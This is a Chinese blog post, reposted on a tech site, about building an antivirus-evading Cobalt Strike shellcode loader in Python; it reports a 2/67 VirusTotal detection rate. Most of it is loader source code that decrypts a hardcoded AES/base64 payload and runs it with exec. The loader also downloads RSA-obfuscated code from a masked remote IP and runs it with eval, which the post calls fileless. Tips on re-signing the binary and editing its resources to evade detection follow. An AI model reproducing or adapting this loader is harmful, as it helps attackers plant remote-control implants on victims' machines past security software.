栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

python cs联动免杀 virustotal结果2/67

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

python cs联动免杀 virustotal结果2/67

先看结果,第一次上传为0

再次上传为2,好像是我重新签了个名,感觉2这个结果可以了

思路加密关键代码,然后传到外网ip requests访问eval执行,重新签名然后改一下资源

关键是无文件落地,也尝试过修改特征码,可惜改特征码没绕过卡巴斯基
可以上线

import ctypes,base64,requests
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from random import randint
from datetime import datetime

"""判断是否是素数"""
def is_sushu(sushu):
    for i in range(2,sushu):
        if sushu % i == 0:
            return False
    return True

"""随机生成指定范围的大素数"""
def Create_Sushu():
    while True:
        sushu = randint(100,1000 )#下限越大,加密越安全,此处考虑计算时间,取值较小
        if is_sushu(sushu):
            return sushu

"""计算欧拉函数"""
def Oula(sushu1 , sushu2):
    return (sushu1-1)*(sushu2-1)

"""判断是否互质"""
def Is_Huzhi(int_min,int_max):
    for i in range(2,int_min+1):
        if int_min % i == 0 and int_max % i == 0:
            return False
    return True

"""计算公钥,直接计算编程较简单,此处考虑了计算效率的优化"""
def Creat_E(oula):
    top = oula
    while True:
        i = randint(2,top)
        for e in range(i,top):
            if Is_Huzhi(e,oula):
                return e
        top = i

"""计算私钥"""
def Compute_D(oula,e):
    k = 1
    while ( k*oula+1 )% e != 0:
        k+=1
    return int((k*oula+1)/e)

"""
将字符串转成ASCII
"""
def Transfer_To_Ascii(messages):
    result = []
    for message in messages:
        result.append(  ord(message) )
    return result

"""
将列表转化成字符串
"""
def Transfer_To_String(string_list):
    string = ''.join(string_list)
    return string

# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
    if len(text.encode('utf-8')) % 16:
        add = 16 - (len(text.encode('utf-8')) % 16)
    else:
        add = 0
    text = text + ('' * add)
    return text.encode('utf-8')


# 加密函数
def encrypt(text):
    key = 'zxxxxxx6'.encode('utf-8')
    mode = AES.MODE_CBC
    iv = b'xxxxxx67'
    text = add_to_16(text)
    cryptos = AES.new(key, mode, iv)
    cipher_text = cryptos.encrypt(text)
    # 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
    return b2a_hex(cipher_text)


# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
    key = 'zwfgsssss666'.encode('utf-8')
    iv = b'zwfgtxxxxxl67'
    mode = AES.MODE_CBC
    cryptos = AES.new(key, mode, iv)
    plain_text = cryptos.decrypt(a2b_hex(text))
    aaaa=bytes.decode(plain_text).rstrip('')
    return aaaa

def zz(ahs):
    a = b'5597fde24bdde77ea5802eb6f08013e57bdb5344736f7ad1efc8c0602ef89f545caa11197add60040e0733bd5ec5dab310272794d326ed108e2bc0863095f4acfca3973f96bf45e3765e2490de643874716cc3d6a69189b528314b8ca42a7863'
    a = decrypt(a)
    a = base64.b64decode(a)
    exec(a)
    n = 54737
    e = 19253
    d = 16637
    buf = requests.get('hhttp://xx.xx.xxx.xxx/2.txt').text
    a = buf.split(',')
    c_list = []
    c_list = list(map(int, a))
    decode_messages=[]
    for c in c_list:
        decode_message = c**d%n
        decode_messages.append(chr(decode_message))
    ptr = eval(Transfer_To_String(decode_messages))
    # c_list = [14707, 28343, 48517, 13725, 54472, 29253, 34108, 29890, 28343, 36320, 28343, 35221, 31154, 1323, 17528, 21097, 17528, 51963, 29253, 42568, 14707, 31154, 35221, 34108, 9469, 9469, 29890, 49737, 1323, 8223, 22707, 36320, 22981, 45262, 49737, 49737, 29253, 1323, 14707, 31154, 35221, 34108, 9469]
    buf = requests.get('http://xx.xx.xxx.xxx/3.txt').text
    a = buf.split(',')
    c_list = []
    c_list = list(map(int, a))
    decode_messages = []
    decode_messages = []
    for c in c_list:
        decode_message = c ** d % n
        decode_messages.append(chr(decode_message))
    abc = eval(Transfer_To_String(decode_messages))
    buf = requests.get('http://http://xx.xx.xxx.xxx/4.txt').text
    a = buf.split(',')
    c_list = []
    c_list = list(map(int, a))
    decode_messages = []
    decode_messages = []
    for c in c_list:
        decode_message = c ** d % n
        decode_messages.append(chr(decode_message))
    abc = eval(Transfer_To_String(decode_messages))
    buf = requests.get('http://http://xx.xx.xxx.xxx/5.txt').text
    a = buf.split(',')
    c_list = []
    c_list = list(map(int, a))
    decode_messages = []
    decode_messages = []
    for c in c_list:
        decode_message = c ** d % n
        decode_messages.append(chr(decode_message))
    handle = eval(Transfer_To_String(decode_messages))
    buf = requests.get('http://http://xx.xx.xxx.xxx/6.txt').text
    a = buf.split(',')
    c_list = []
    c_list = list(map(int, a))
    decode_messages = []
    for c in c_list:
        decode_message = c ** d % n
        decode_messages.append(chr(decode_message))
    eval(Transfer_To_String(decode_messages))


if __name__ == "__main__":#先base后AES再rsa

    p = Create_Sushu()
    q = p
    while p == q:
        q = Create_Sushu()
    n = 40309
    oula = Oula(p, q)
    e = 1761
    d = 27713
    time_end = datetime.now()
    #从这里开始不需要改,把3.txt复制到服务器就行,改一下ip
    buf = requests.get('http://xx.xx.xxx.xxx/1.txt').text
    a = buf.split(',')
    c_list = []
    c_list = list(map(int, a))
    decode_messages = []
    for c in c_list:
        decode_message = c ** d % n
        decode_messages.append(chr(decode_message))
    buf = Transfer_To_String(decode_messages)
    buf = encrypt(buf)
    buf = decrypt(buf)
    buf = base64.b64decode(buf)
    zz(bytearray(buf))

我把自己ip码了,就是这样
然后用Restorator改一下资源再加一个签名就好了
工具链接,明天起来试一下加壳
Restorator
https://xiazai.zol.com.cn/detail/44/433207.shtml

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/969446.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号